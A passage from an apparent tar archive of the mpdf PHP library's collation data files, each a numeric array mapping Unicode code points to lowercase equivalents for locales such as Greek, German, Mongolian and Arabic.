381 => 122, ]; vendor/mpdf/mpdf/data/collations/Greek_Greece.php000064400000001727147600022140016020 0ustar00 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 913 => 945, 940 => 945, 902 => 945, 914 => 946, 915 => 947, 916 => 948, 917 => 949, 941 => 949, 904 => 949, 918 => 950, 919 => 951, 942 => 951, 905 => 951, 920 => 952, 921 => 953, 943 => 953, 906 => 953, 970 => 953, 938 => 953, 912 => 953, 922 => 954, 923 => 955, 925 => 957, 926 => 958, 927 => 959, 972 => 959, 908 => 959, 928 => 960, 929 => 961, 962 => 963, 931 => 963, 932 => 964, 933 => 965, 973 => 965, 910 => 965, 971 => 965, 939 => 965, 944 => 965, 934 => 966, 935 => 967, 936 => 968, 937 => 969, 974 => 969, 911 => 969, ]; vendor/mpdf/mpdf/data/collations/German_Austria.php000064400000002551147600022140016406 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Spanish_Peru.php000064400000002533147600022140016105 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Spanish_United_States.php000064400000002551147600022140017745 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Mongolian_(Cyrillic)_Mongolia.php000064400000002201147600022140021220 0ustar00 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1040 => 1072, 1041 => 1073, 1042 => 1074, 1043 => 1075, 1107 => 1075, 1027 => 1075, 1168 => 1169, 1044 => 1076, 1026 => 1106, 1045 => 1077, 1105 => 1077, 1025 => 1077, 1028 => 1108, 1046 => 1078, 1047 => 1079, 1029 => 1109, 1048 => 1080, 1031 => 1111, 1049 => 1081, 1032 => 1112, 1050 => 1082, 1116 => 1082, 1036 => 1082, 1051 => 1083, 1033 => 1113, 1052 => 1084, 1053 => 1085, 1034 => 1114, 1054 => 1086, 1055 => 1087, 1056 => 1088, 1057 => 1089, 1058 => 1090, 1035 => 1115, 1059 => 1091, 1118 => 1091, 1038 => 1091, 1060 => 1092, 1061 => 1093, 1062 => 1094, 1063 => 1095, 1039 => 1119, 1064 => 1096, 1065 => 1097, 1066 => 1098, 1067 => 1099, 1068 => 1100, 1069 => 1101, 1070 => 1102, 1071 => 1103, ]; vendor/mpdf/mpdf/data/collations/Italian_Italy.php000064400000002551147600022140016230 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Bulgarian_Bulgaria.php000064400000002201147600022140017207 0ustar00 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1040 => 1072, 1041 => 1073, 1042 => 1074, 1043 => 1075, 1107 => 1075, 1027 => 1075, 1168 => 1169, 1044 => 1076, 1026 => 1106, 1045 => 1077, 1105 => 1077, 1025 => 1077, 1028 => 1108, 1046 => 1078, 1047 => 1079, 1029 => 1109, 1048 => 1080, 1031 => 1111, 1049 => 1081, 1032 => 1112, 1050 => 1082, 1116 => 1082, 1036 => 1082, 1051 => 1083, 1033 => 1113, 1052 => 1084, 1053 => 1085, 1034 => 1114, 1054 => 1086, 1055 => 1087, 1056 => 1088, 1057 => 1089, 1058 => 1090, 1035 => 1115, 1059 => 1091, 1118 => 1091, 1038 => 1091, 1060 => 1092, 1061 => 1093, 1062 => 1094, 1063 => 1095, 1039 => 1119, 1064 => 1096, 1065 => 1097, 1066 => 1098, 1067 => 1099, 1068 => 1100, 1069 => 1101, 1070 => 1102, 1071 => 1103, ]; vendor/mpdf/mpdf/data/collations/Quechua_Bolivia.php000064400000002551147600022140016545 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/English_Malaysia.php000064400000002551147600022140016716 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Sami_(Lule)_Norway.php000064400000002347147600022140017042 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 224 => 97, 192 => 97, 227 => 97, 195 => 97, 193 => 225, 226 => 225, 194 => 225, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 339 => 111, 338 => 111, 213 => 245, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 223 => 115, 352 => 353, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 381 => 382, 198 => 230, 196 => 228, 216 => 248, 214 => 246, 197 => 229, ]; vendor/mpdf/mpdf/data/collations/Arabic_Bahrain.php000064400000001626147600022140016314 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1570 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1572 => 1608, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/Malay_Brunei_Darussalam.php000064400000002551147600022140020230 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Slovak_Slovakia.php000064400000002575147600022140016603 0ustar00 711, 65 => 97, 225 => 97, 193 => 97, 226 => 97, 194 => 97, 259 => 97, 258 => 97, 261 => 97, 260 => 97, 196 => 228, 66 => 98, 67 => 99, 263 => 99, 262 => 99, 231 => 99, 199 => 99, 268 => 269, 68 => 100, 271 => 100, 270 => 100, 273 => 100, 272 => 100, 69 => 101, 235 => 101, 203 => 101, 233 => 101, 201 => 101, 283 => 101, 282 => 101, 281 => 101, 280 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 238 => 105, 206 => 105, 74 => 106, 75 => 107, 76 => 108, 314 => 108, 313 => 108, 318 => 108, 317 => 108, 322 => 108, 321 => 108, 77 => 109, 78 => 110, 324 => 110, 323 => 110, 328 => 110, 327 => 110, 79 => 111, 246 => 111, 214 => 111, 243 => 111, 211 => 111, 337 => 111, 336 => 111, 212 => 244, 80 => 112, 81 => 113, 82 => 114, 341 => 114, 340 => 114, 344 => 345, 83 => 115, 347 => 115, 346 => 115, 351 => 115, 350 => 115, 223 => 115, 352 => 353, 84 => 116, 357 => 116, 356 => 116, 355 => 116, 354 => 116, 85 => 117, 252 => 117, 220 => 117, 250 => 117, 218 => 117, 367 => 117, 366 => 117, 369 => 117, 368 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 90 => 122, 380 => 122, 379 => 122, 378 => 122, 377 => 122, 381 => 382, ]; vendor/mpdf/mpdf/data/collations/English_United_Kingdom.php000064400000002533147600022140020056 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 222 => 254, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Wolof_Senegal.php000064400000002551147600022140016231 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Estonian_Estonia.php000064400000002325147600022140016746 0ustar00 188, 190 => 179, 65 => 97, 257 => 97, 256 => 97, 229 => 97, 197 => 97, 261 => 97, 260 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 263 => 99, 262 => 99, 269 => 99, 268 => 99, 68 => 100, 69 => 101, 233 => 101, 201 => 101, 279 => 101, 278 => 101, 275 => 101, 274 => 101, 281 => 101, 280 => 101, 70 => 102, 71 => 103, 291 => 103, 290 => 103, 72 => 104, 73 => 105, 299 => 105, 298 => 105, 303 => 105, 302 => 105, 74 => 106, 75 => 107, 311 => 107, 310 => 107, 76 => 108, 316 => 108, 315 => 108, 322 => 108, 321 => 108, 77 => 109, 78 => 110, 324 => 110, 323 => 110, 326 => 110, 325 => 110, 79 => 111, 243 => 111, 211 => 111, 333 => 111, 332 => 111, 248 => 111, 216 => 111, 80 => 112, 81 => 113, 82 => 114, 343 => 114, 342 => 114, 83 => 115, 347 => 115, 346 => 115, 223 => 115, 352 => 353, 90 => 122, 378 => 122, 377 => 122, 380 => 122, 379 => 122, 381 => 382, 84 => 116, 85 => 117, 363 => 117, 362 => 117, 371 => 117, 370 => 117, 86 => 118, 119 => 118, 87 => 118, 213 => 245, 196 => 228, 214 => 246, 220 => 252, 88 => 120, 89 => 121, ]; vendor/mpdf/mpdf/data/collations/Kiswahili_Kenya.php000064400000002551147600022140016560 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Spanish_Nicaragua.php000064400000002533147600022140017064 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Inuktitut_(Latin)_Canada.php000064400000002551147600022140020204 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Arabic_Morocco.php000064400000001626147600022140016351 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1570 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1572 => 1608, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/German_Liechtenstein.php000064400000002551147600022140017574 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Filipino_Philippines.php000064400000002551147600022140017622 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 